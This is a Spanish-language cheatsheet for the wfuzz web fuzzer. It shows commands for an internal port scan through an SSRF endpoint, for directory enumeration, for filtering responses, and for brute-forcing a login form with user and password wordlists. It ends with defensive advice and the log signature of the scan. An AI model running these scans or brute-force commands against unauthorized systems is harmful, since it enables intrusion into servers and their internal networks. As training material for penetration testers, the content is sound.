WFuzz — Fuzzing Web y Port Scan vía SSRF
Fuzzing de parámetros y URLs con wfuzz: payloads por rangos (range), filtrado de respuestas (--hl/--hc/--hw), y port scanning interno a través de un SSRF.
1. Operational Scope & Technical Objective
wfuzz fuzza URLs, parámetros y headers sustituyendo la palabra clave FUZZ por cada elemento de un payload. Su uso más rentable en un engagement es el port scan vía SSRF: si un endpoint de la app acepta una URL (parámetro path, url, redirect), el propio wfuzz hace de escáner interno con -z range,1-65535, probando cada puerto de localhost a través de la vulnerabilidad — sin tocar la red interna directamente y sin necesidad de una herramienta de port scanning adicional.
2. High-Impact Syntax & Command Cheatsheet
# Port scan de la máquina interna a través de un SSRF
wfuzz -c --hl=2 -z range,1-65535 http://10.10.10.55:60000/url.php?path=http://localhost:FUZZ
# -c -> salida con colores (leer de un vistazo)
# --hl=2 -> oculta las respuestas de 2 líneas (el "no hay servicio" del objetivo)
# -z range,1-65535-> payload: rango de puertos 1..65535 en FUZZ
# path=http://localhost:FUZZ -> el SSRF ejecuta la petición a localhost:<puerto>
# Criterio: los puertos que devuelven un tamaño de respuesta distinto al "2 líneas"
# (contenido de error) están abiertos.
# Filtrado por código de estado, palabras o líneas (respuestas "basura")
wfuzz -c --hc=404 -z file,wordlist.txt http://target/FUZZ # oculta 404
wfuzz -c --hl=3 -z file,wordlist.txt http://target/FUZZ # oculta resp. de 3 líneas
wfuzz -c --hw=150 -z file,wordlist.txt http://target/FUZZ # oculta por nº de palabras
# La página 404 custom del objetivo se filtra por su tamaño/estado fijo
# Fuzzing de directorios con wordlist
wfuzz -c -z file,/usr/share/wordlists/dirb/common.txt http://10.10.10.55/FUZZ
# Fuzzing de parámetros/vhosts (payloads múltiples con ,)
wfuzz -c -z file,users.txt -z file,pass.txt http://target/login.php?user=FUZZ&pass=FUZ2Z
3. Real-World Offensive/Defensive Scenarios
SSRF como escáner interno. Con el SSRF confirmado (path=http://localhost:FUZZ), wfuzz mapea los puertos abiertos del localhost del servidor (redis, mysql, servicios de gestión) y, variando la IP, de la red interna. El filtro --hl es la clave: conocer la forma de la respuesta de error del proxy de la app permite separar puertos abiertos de cerrados sin falsos positivos.
Enumeración de directorios con tolerancia a ruido. --hc=404 y --hl/--hw eliminan el "noise" de las páginas de error genéricas; los resultados con tamaño/código distinto son los endpoints reales.
Defensa. El patrón que esta técnica explota es un SSRF sin validación de destino: la defensa es allowlist de hosts internos y bloqueo de rangos RFC1918 en el backend, además de rate-limit por sesión en los endpoints que aceptan URLs. En los logs, el endpoint url.php?path=... con muchas peticiones a localhost:<puerto> secuenciales es la firma exacta de este wfuzz (o de un script equivalente).